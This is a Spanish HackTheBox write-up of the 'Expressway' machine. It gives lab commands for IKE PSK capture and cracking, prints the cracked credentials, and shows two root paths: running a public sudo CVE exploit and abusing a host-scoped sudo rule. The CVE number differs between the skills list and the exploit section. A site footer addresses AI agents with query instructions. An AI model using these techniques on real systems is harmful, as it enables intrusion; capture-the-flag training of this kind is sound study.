> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Resolución de HackTheBox Expressway

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**Habilidades:**

* Conocimiento sobre la enumeración y explotación del servicio IKE
* Enumeración del sistema Linux
* Explotación de CVE-2025-32462
  {% endhint %}

#### **Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/4a52f508f7e86e43debf4cc786d9bf6c489914d5" alt="" width="563"><figcaption></figcaption></figure>

#### **Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/6d31a663e748bfb497a42a48ae31118cd24e790d" alt="" width="563"><figcaption></figcaption></figure>

#### **Descubrimiento de puertos abiertos con Nmap:**

El primer paso es identificar los servicios expuestos. Realizamos un escaneo rápido de puertos TCP y UDP.

#### Escanear TCP

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### Escanear UDP

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="/files/378ecc0c0093895397c2d286d49fcab4706c19c1" alt=""><figcaption></figcaption></figure>

#### Escaneo de servicios y versiones

Tras identificar los puertos, profundizamos en servicios específicos:

* TCP: Puerto 22 (SSH)
* UDP: Puertos 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T)

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="/files/7a75873a14ce8ed8612d22ff85310ba86e1a5344" alt=""><figcaption></figcaption></figure>

### Intrusión: Explotación de IKE (VPN)

El puerto UDP 500 indica un servicio de intercambio de claves (IKE). Estamos intentando capturar la clave precompartida (PSK) usando el modo agresivo.

#### Identificación del ID

Usamos `ike-scan` para comprobar si el modo agresivo está habilitado:.

```bash
sudo ike-scan -A 10.129.238.52
```

* Resultado: Handshake exitoso. ID detectado: `ike@expressway.htb`.

#### Capturar y crackear el hash de la PSK

<figure><img src="/files/b7fc41fca8780c6bc569b44f0fdbe12d88ead234" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Extraemos el hash para intentar un ataque de fuerza bruta con el `rockyou.txt` diccionario.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Credenciales obtenidas: `ike`: `freakingrockstarontheroad`

<figure><img src="/files/75eab952f78d39e25fec81b3d415732a9da59328" alt=""><figcaption></figcaption></figure>

#### Acceso inicial

Conexión vía SSH con las credenciales encontradas:

```bash
ssh ike@10.129.238.52
```

## Escalada de privilegios

Se han confirmado dos vectores para elevar privilegios a root.

### Método 1: CVE-2025-32463 (vulnerabilidad de sudo)

Al comprobar la versión de sudo con `sudo -V`, vemos que la versión es 1.9.17, que es vulnerable.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="/files/24106c57f0ca491b7bcdf421105bbd29e1fbe1a9" alt=""><figcaption></figcaption></figure>

1. Clonar el exploit:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

Ejecutando los scripts de compilación y explotación:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="/files/66d8c0eb7ff4de2194c6b55253330dbac6a11af1" alt=""><figcaption></figcaption></figure>

### Método 2: Abuso del grupo Proxy y Hostnames

Al auditar los grupos del usuario, vemos que pertenecemos al grupo proxy. Buscamos los archivos asociados:

<figure><img src="/files/0a54d6f8a8e22bd59fcc7517df5366309f89e263" alt=""><figcaption></figcaption></figure>

Al examinar los registros de Squid (`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="/files/71f6a5026bce3cbc6a5a11e1a429dec9f56ebc37" alt=""><figcaption></figcaption></figure>

Descubrimos un subdominio interno: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="/files/b978686604f0608f1421287042986774b7b28ad2" alt=""><figcaption></figcaption></figure>

Al revisar las políticas de sudo para este dominio específico, descubrimos que tenemos permisos completos:

```bash
sudo -h offramp.expressway.htb -l
```

Resultado: podemos ejecutar cualquier comando como root en este contexto del host.

<figure><img src="/files/2a073f569acc40b36e846c401adee243069de294" alt=""><figcaption></figcaption></figure>

**Ejecución final para root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="/files/415e521a071b0f307006c6c546cd1e609a9923ca" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/5b0a6dc0c9ef9ebddadbecb87ee23bb84350f3a8" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="/files/85cbaba197718ac90d1fe7327b9dd722349c1af0" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
